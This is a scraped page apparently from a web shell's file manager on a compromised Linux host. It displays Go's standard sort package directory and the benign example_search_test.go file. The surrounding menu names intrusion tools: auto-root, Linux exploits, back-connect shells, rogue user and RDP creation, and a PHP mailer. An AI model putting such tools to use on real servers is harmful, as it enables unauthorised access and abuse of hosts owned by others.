Linux 120.141.167.72.host.secureserver.net 4.18.0-553.150.1.el8_10.x86_64 #1 SMP Fri Jul 31 15:23:31 EDT 2026 x86_64
Apache
: 72.167.141.120 | : 216.73.217.14
808 Domain
7.4.33
bestseocompany
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
sort /
[ HOME SHELL ]
Name
Size
Permission
Action
example_interface_test.go
1.47
KB
-rw-r--r--
example_keys_test.go
2.68
KB
-rw-r--r--
example_multi_test.go
4.05
KB
-rw-r--r--
example_search_test.go
2.65
KB
-rw-r--r--
example_test.go
2.85
KB
-rw-r--r--
example_wrapper_test.go
1.63
KB
-rw-r--r--
export_test.go
314
B
-rw-r--r--
gen_sort_variants.go
19.61
KB
-rw-r--r--
search.go
5.67
KB
-rw-r--r--
search_test.go
6.78
KB
-rw-r--r--
slice.go
1.81
KB
-rw-r--r--
sort.go
10.14
KB
-rw-r--r--
sort_impl_120.go
602
B
-rw-r--r--
sort_impl_go121.go
876
B
-rw-r--r--
sort_slices_benchmark_test.go
3.97
KB
-rw-r--r--
sort_test.go
16.93
KB
-rw-r--r--
zsortfunc.go
11.49
KB
-rw-r--r--
zsortinterface.go
11.22
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : example_search_test.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package sort_test import ( "fmt" "sort" "strings" ) // This example demonstrates searching a list sorted in ascending order. func ExampleSearch() { a := []int{1, 3, 6, 10, 15, 21, 28, 36, 45, 55} x := 6 i := sort.Search(len(a), func(i int) bool { return a[i] >= x }) if i < len(a) && a[i] == x { fmt.Printf("found %d at index %d in %v\n", x, i, a) } else { fmt.Printf("%d not found in %v\n", x, a) } // Output: // found 6 at index 2 in [1 3 6 10 15 21 28 36 45 55] } // This example demonstrates searching a list sorted in descending order. // The approach is the same as searching a list in ascending order, // but with the condition inverted. func ExampleSearch_descendingOrder() { a := []int{55, 45, 36, 28, 21, 15, 10, 6, 3, 1} x := 6 i := sort.Search(len(a), func(i int) bool { return a[i] <= x }) if i < len(a) && a[i] == x { fmt.Printf("found %d at index %d in %v\n", x, i, a) } else { fmt.Printf("%d not found in %v\n", x, a) } // Output: // found 6 at index 7 in [55 45 36 28 21 15 10 6 3 1] } // This example demonstrates finding a string in a list sorted in ascending order. func ExampleFind() { a := []string{"apple", "banana", "lemon", "mango", "pear", "strawberry"} for _, x := range []string{"banana", "orange"} { i, found := sort.Find(len(a), func(i int) int { return strings.Compare(x, a[i]) }) if found { fmt.Printf("found %s at index %d\n", x, i) } else { fmt.Printf("%s not found, would insert at %d\n", x, i) } } // Output: // found banana at index 1 // orange not found, would insert at 4 } // This example demonstrates searching for float64 in a list sorted in ascending order. func ExampleSearchFloat64s() { a := []float64{1.0, 2.0, 3.3, 4.6, 6.1, 7.2, 8.0} x := 2.0 i := sort.SearchFloat64s(a, x) fmt.Printf("found %g at index %d in %v\n", x, i, a) x = 0.5 i = sort.SearchFloat64s(a, x) fmt.Printf("%g not found, can be inserted at index %d in %v\n", x, i, a) // Output: // found 2 at index 1 in [1 2 3.3 4.6 6.1 7.2 8] // 0.5 not found, can be inserted at index 0 in [1 2 3.3 4.6 6.1 7.2 8] } // This example demonstrates searching for int in a list sorted in ascending order. func ExampleSearchInts() { a := []int{1, 2, 3, 4, 6, 7, 8} x := 2 i := sort.SearchInts(a, x) fmt.Printf("found %d at index %d in %v\n", x, i, a) x = 5 i = sort.SearchInts(a, x) fmt.Printf("%d not found, can be inserted at index %d in %v\n", x, i, a) // Output: // found 2 at index 1 in [1 2 3 4 6 7 8] // 5 not found, can be inserted at index 4 in [1 2 3 4 6 7 8] }
Close